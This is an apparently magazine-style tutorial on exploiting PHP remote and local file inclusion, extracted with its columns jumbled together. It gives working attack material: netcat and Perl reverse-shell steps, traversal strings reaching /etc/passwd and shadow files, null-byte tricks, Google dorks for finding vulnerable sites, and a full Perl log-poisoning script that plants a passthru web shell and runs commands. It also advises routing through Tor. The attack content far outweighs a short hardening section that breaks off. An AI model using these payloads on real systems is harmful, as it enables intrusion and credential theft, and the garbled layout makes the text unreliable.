Remote and Local File Inclusion Explained
Remote and Local File Inclusion Explained
Remote and Local File Inclusion Explained
Inclusion Explained
Attack
Gordon Johnson
Difficulty
I have always found RFI and LFI to be one of the most interesting
concepts in terms of web exploitation. Although it may normally
be interpreted as the most common, script kiddie-esque form of
exploitation, I find this to be false. When the term script kiddie
is used, most people generally think along the lines of point and
click exploitation.
I
n RFI and LFI there are more levels and written. RFI exploits the include command
dynamics than what meets the eye. Bear to run your script, remotely within the given site.
in mind, I hold absolutely no responsibil- If we can manipulate the $base _ path variable
ity whatsoever for someone's so-called moral to equal our own script/public directory, then
actions or lack thereof. And of course, the old it will run as if it was a normal file on the web
perform at your own risk also comes to mind; server itself.
revel in the hackneyed glory. Given a website that uses the very basic
include command given above, making it vulner-
RFI able to this exploit, and knowing what the given
Let us proceed to business. RFI stands for Re- variable is by viewing the code in index.php (http:
mote File Inclusion. The main idea behind it is //lameserver-example.com/index.php) we can
that the given code inserts any given address,
albeit local or public, into the supplied include
command. The way it works is that when a web- What you will learn...
site is written in PHP, there is sometimes a bit
• What Remote and Local File Inclusion are
of inclusion text that directs the given page to
• What makes them tick, how to execute them
another page, file or what you have. Below is an
• How to defend against them by taking proper
example of the code: PHP coding methods
include($base_path . "/page1.php");
What you should know...
The include statement above uses the page1. • General understanding of perl and PHP
php as its file to load. For example, if the user • Basic idea of how an operating system func-
was to browse to the bottom of the page and tions
click Next, he will execute the code that trig- • Large vernacular in terms of commonly used
gers the next page to load. In this case, it could UNIX commands, and a large heaping of logic.
be page2.php depending on how the code is
elsewhere. Before I go any further, of the tutorial. This will enable us to time, you may execute commands,
go grab the tor, Vidalia, Privoxy, and harness the back-connect script, and and attempt to gain root by using
TorButton bundle, and install it. Prox- connect to it directory, thus giving us various methods. I suggest you type id
ies are your friend, remember that. full access to the server. After getting first, find out a bit of information about
But yet again, I only condone this if nc.exe, the command to be executed what server you are dealing with. From
you own the server, or have exclu- is nc -l -n -v -p 8080 that point, after finding out what kernel
sively been given the right to do so Let us quickly go through what it is, finding exploits for that given ker-
(see Figures 1, 2, 3). each command represents after “nc” nel would be necessary to gain root.
Now of course I did not touch this so it is understood what is occurring However, this is another topic for later.
site of mine at all, and I hid the URL, on your machine: -l, -v, -p = listen Let us try not to stray too far away from
etc. for very good reason. The pic- to all incoming connections on the RFI and LFI.
tures are pretty much self-explana- specified port (whatever comes after As you can see, you can dramati-
tory of what you are capable of doing -p). -n specifies that it must be a nu- cally expound upon each method.
on here. meric address only, no DNS (mean-
Lovely! Now when we have an ing IP address only). LFI
access, we can gain a shell back to Proceed back to the RFI exploited LFI is a Local File Inclusion. This is
the server itself with a back connect web page and look for the area where when you find a particular file within
method. Here is what makes RFI it states: Local command. Within the a database and uses it against the
rather interesting: the ability to exploit supplied text field, you would need web server. Such as discovering
it even further. All that needs to be to type the following command: perl the faithful /etc/passwd/ username/
done at this point would be to find back.pl <your _ public _ ip _ address _ password file, cracking the MD5
a directory that enables you to upload here> 8080. This will allow the perl bina- hash, (the format for encryption is
any file you choose. In this case, we ry to execute the code you had recently {CRYPT}$1$salt$encrypted _ pass) and
will upload a Perl script to a RW direc- uploaded. The script will run, and give then logging in via ssh. The method
tory. Though I will not provide a back- you access to the server remotely. If is pretty much same as above, just
connect script, you should have no you glance back at your netcat com- a matter of finding the exploitable
problem finding it, installing Perl, mand that was executed earlier, you site. All same ideas here, except we
etc. From this point, the well-known will notice that you have connected are now applying a different address
netcat program becomes a large part to the targeted server. At this point in within the inclusion, the file located
by default on the server. One exam-
Listing 1. Default Log Locations ple on how to find these particular
sites would be to look either for an
../apache/logs/error.log exploit on milw0rm, or do a Google
../apache/logs/access.log
search for:
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log inurl:home.php?pg=
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log or
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
inurl:index.php?pg=
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log They are pretty easy to find, it took
../../../../../../../usr/local/apache/logs/access_log me roughly 40 seconds to find it (see
../../../../../../../usr/local/apache/logs/access.log
Figure 4).
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
All I had to do was to add: ../
../../../../../../../var/log/apache/access.log ../../../../../../../../../../../../
../../../../../../../var/log/apache2/access.log etc/passwd after the code stating:
../../../../../../../var/log/access_log home.php?pg=
../../../../../../../var/log/access.log
How much easier could it get?
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
Now that we have all of this informa-
../../../../../../../usr/local/apache/logs/error_log tion in front of us, let us interpret what
../../../../../../../usr/local/apache/logs/error.log it means, and how we may use it to
../../../../../../../var/log/apache/error_log our advantage. The syntax of the text
../../../../../../../var/log/apache2/error_log
in front of you is username:passwd:
../../../../../../../var/log/apache2/error.log
UID:GID:full _ name:directory:shell
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log However, it appears in our case
that the password is hidden aka
shadowed. This means that it has and we will make reference to the use Header Spy to help us figure out
been replaced with an x, and is now lengthy list: Listing 1. what might the default directory for
located within /etc/shadow. We will Normally, just as before, you would logs may be. For example, you may
not be able to access this, since it apply each directory string after the = notice that it is using Apache 2.0.40
may only be accessed by root. No and see where it takes you. If success- with a Red Hat OS. Simply do a bit of
problem, this is just to get our feet ful, you should see a page that displays Googling to find out what the default
wet. Whenever you see an x as op- some sort of log for the moment it is directory for logs is, and low and be-
posed to a garbled password, it is executed. If it fails, you will be redirect- hold, in this case it is /../../../../../../
located in the /etc/shadow, and if ed to either a Page cannot be found, etc/httpd/logs/acces _ log. Now when
you see a !, it means that it is located or redirected to the main page. To we have the proper directory, we may
within /etc/security/passwd. On the make this process slightly less painful/ exploit it (inject code). With this log file
other hand, let us just say you found daunting, it is very useful to have a in hand, we can now attempt to inject a
a good file without anything being plug-in for Firefox entitled: Header command within the browser, such as
shadowed. All you need to do now Spy. It will tell you everything you need <? passthru(\$ _ GET[cmd]) ?> (please,
is decrypt it. You may also wish to to know about the web server, such as keep in mind that this is merely an
peruse around in other directories, the Operating System it is running, and example of what the vulnerable code
such as: what version of Apache the server is we are exploiting may be, and would
running. If you were to stumble upon a need to be changed accordingly).
/etc/passwd vulnerable box that does not properly This may be injected at the end of the
/etc/shadow pass through text, and displays a list address, but will most likely not work
/etc/group of shadowed passwords, we can now since your web browser interprets
/etc/security/group
/etc/security/passwd Listing 2. Log Injection Script
/etc/security/user #!/usr/bin/perl -w
/etc/security/environ use IO::Socket;
/etc/security/limits use LWP::UserAgent;
$site="www.vulnerablesite.com";
/usr/lib/security/mkuser.default
$path="/";
$code="<? passthru(\$_GET[cmd]) ?>";
Every now and again, though, the $log = "../../../../../../../etc/httpd/logs/error_log";
website may output that /etc/passwd/
cannot be found simply because the print "Trying to inject the code";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site",
server is interpreting the location as if
PeerPort=>"80") or die "\nConnection Failed.\n\n";
it is /etc/passwd.php/. To correct this, print $socket "GET ".$path.$code." HTTP/1.1\r\n";
we need to apply what is called a Null print $socket "User-Agent: ".$code."\r\n";
Byte. This bit of code looks like: %00. print $socket "Host: ".$site."\r\n";
In SQL, it means 0, but everywhere print $socket "Connection: close\r\n\r\n";
close($socket);
else in coding, it is interpreted similar
print "\nCode $code successfully injected in $log \n";
to a black hole, such as /dev/null/.
This code eliminates the use of an print "\nType command to run or exit to end: ";
extension. The code would appear $cmd = <STDIN>;
as /etc/passwd%00 when entered into
while($cmd !~ "exit") {
the address bar.
But there is no reason to be $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site",
discouraged when seeing a shad- PeerPort=>"80") or die "\nConnection Failed.\n\n";
owed list of passwords; you should print $socket "GET ".$path."index.php?filename=".$log."&cmd=$cmd HTTP/
be thrilled to have even discovered 1.1\r\n";
print $socket "Host: ".$site."\r\n";
a vulnerability. At this point in time,
print $socket "Accept: */*\r\n";
we know two things: one – that noth- print $socket "Connection: close\r\n\n";
ing is properly passed through with-
out being sanitized by PHP, and two while ($show = <$socket>)
– we now know that we have the abil- {
print $show;
ity to look for logs to inject. Normally,
}
LFI tutorials stop a few lines above
here, but we shall go a bit more in print "Type command to run or exit to end: ";
depth. There are many common de- $cmd = <STDIN>;
fault directories/*.log locations for }
PHP Hardening
Both methods are very useful when
testing your PHP and Perl skills,
and also very powerful when placed
into the wrong hands. That is why
Figure 3. RFI it is always good to practice proper
sanitation when coding, and to never
take any shortcuts simply because
it's there.
Conceivably the most important
part of the article is to give a few hints
about how to avoid such dilemmas.
Simply put, the include command is
not bad nor evil, but mistreated by
people who do not know what they
are doing, and commonly use it as
a form of laziness when coding. An
alternative to properly sanitizing
your code would be to disable a few
Figure 4. LFI example options within your PHP.ini. Choose